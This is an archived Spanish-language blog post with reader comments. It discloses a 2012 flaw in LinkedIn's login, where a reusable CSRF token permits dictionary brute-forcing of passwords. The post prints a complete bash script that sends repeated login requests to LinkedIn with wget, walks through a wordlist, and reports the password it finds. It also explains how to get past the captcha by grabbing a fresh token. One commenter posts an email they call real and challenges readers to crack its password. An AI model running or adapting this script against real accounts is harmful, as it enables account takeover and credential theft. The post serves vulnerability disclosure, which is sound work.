Vulnerabilidad en LinkedIn permite obtencion de contraseñas

Información Importante Sobre el Contenido

Estas accediendo al contenido antiguo del blog. Este artículo "Vulnerabilidad en LinkedIn permite obtencion de contraseñas" es de dominio público y no será mantenido a futuro. Cualquier error o problema acerca del contenido por favor contactate conmigo desde la sección contacto.

El proceso para iniciar sesión de LinkedIn es vulnerable a ataques de fuerza bruta y es posible, mediante un diccionario, descubrir la password de usuarios. Este ataque es factible debido a un error en la validación del token de seguridad (Csrf token) que permite enviar tantos request remotos como queramos, probando distintos usuarios y usando el mismo token.
La única protección que existe, es que luego de decenas de intentos, nos muestra un Captcha, sin embargo, luego de esperar un tiempo y con un nuevo Token, es posible continuar con el ataque.

Para obtener un Token y poder probar el ataque, debemos atrapar el POST que se hace en el formulario de login y obtener el “sourceAlias” y “csrfToken”.

Cuando realizamos el ataque, no es necesario enviarle estos valores metiante POST, ya que no discrimina el métido por el cual se le entregan los valores, pudiendo generar un simple script que haga consultas mediante GET pasandole las variables por URL.

El paso siguiente es armar un script que nos ayude a enviar requests hacia el script “login-submit” de LinkedIn, validar la respuesta y comprobar la contraseña.

#!/bin/bash
#
# usage: ./linkedin.sh username@domain.com wordlist
#

TOKEN="ajax%3A1969342887909916588"
sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"

if [ ! -f $2 ];
then
	echo "file $2 does not exists"
	exit
fi

_USR=$1
for _PWD in $(cat $2);
do
	if [ $(echo -n $_PWD|wc -c) -lt 6 ];
	then
		echo "Ignoring $_PWD (must be grather than 6 chars)"; continue
	fi
	wget -o /dev/null -O - "https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless"|grep 'The email address or password you provided does not match our records\|captcha' >>/dev/null
	if [ $? -eq 1 ];
	then
		echo "Password found: $_PWD"; exit;
	fi
done

echo "Password NOT found. Try later."

Lo que hace este script es leer un archivo de texto que usará como diccionario para realizar el ataque. Cuando queramos cambiar el Token debemos modificar el valor de la variable “TOKEN” dentro del script.

A modo de prueba, cree la cuenta “panic@zerial.org” y un diccionario que contiene las siguientes palabras:

asdfgh
zxcvbnm
1234567
0987654
12345698
456_4567
123456qwert
123456qwerty
12345qwei
112233

Ejecuté el script entregandole los parametros necesarios: sh linkedin.sh panic@zerial.org wordlist y este es el resultado:
Password found: 123456qwerty
Que corresponde a la password de prueba.

Si linkedin nos pone problemas con el captcha, lo que debemos hacer es ingresar via web con una cuenta valida, capturar nuevamente el Token e intentarlo nuevamente con ese token.

Nota: LinkedIn fue notificado hace 2 semanas sobre esta vulnerabilidad, pero no respondieron.

Información Importante Sobre el Contenido

Estas accediendo al contenido antiguo del blog. Este artículo "Vulnerabilidad en LinkedIn permite obtencion de contraseñas" es de dominio público y no será mantenido a futuro. Cualquier error o problema acerca del contenido por favor contactate conmigo desde la sección contacto.

9 comentarios

  1. Zerial… deja de publicar cosas.. mira que hasta por twitter están dando jugo… 🙂

  2. buena … cada cuantos intentos salta el captcha, cual fue el limite de los diccionario que usaste ?

  3. Zerial

    mayo 16, 2012 a las 3:51 pm

    es relativo la cantidad de intentos hasta que salte el captcha, depende de como cambies tu ip, del delay entre cada consulta, de como vayas cambiando el token, etc. Yo hice la prueba con 1 ip, 1 token y un diccionario de 10 palabras. Luego de correr 2 o 3 veces el script, sin ningun delay entre request, salto el captcha. Tuve que cambiar el token y esperar unos mins para continuar.

  4. MUHAHAHA (6) wena wena

    que mal la preocupacion de Linkedin al no responder como en dos semanas cuak!

  5. Buen artículo. Me ha gustado el “paso a paso” incluso con la cuenta de prueba… espero que los de linkedIn no te pongan problemas y no te acusen de intentar hackearles.

    Saludos!

  6. MisionImposible

    mayo 20, 2012 a las 8:18 pm

    Muy bonito, pero no lo veo factible. Si es necesario estar alerta para que cada diez, cien, mil, etc intentos deba generar un nuevo Token, entonces es practicamente imposible hackear un password en esas condiciones.
    Para demostrarlo te reto a que obtengas la contraseña de mi cuenta: misionimposible@gmail.com (es mi cuenta real eh!)
    Por esa dificultad es que han restado importancia a la notificación de la supuesta vulnerabilidad.

  7. MisionImposible

    mayo 20, 2012 a las 8:29 pm

    Ah. Perdon! una ayudita. No creas que la contraseña es super-rebuscada. Es una palabra real del diccionario español de 7 caracteres, sin acentos ni eñes, ni tildes ni nada. Suerte!

  8. Ohhhhhhhh! 10 – 0

  9. Parece que el tiempo le dio la razón a @Zerial

Los comentarios están cerrados.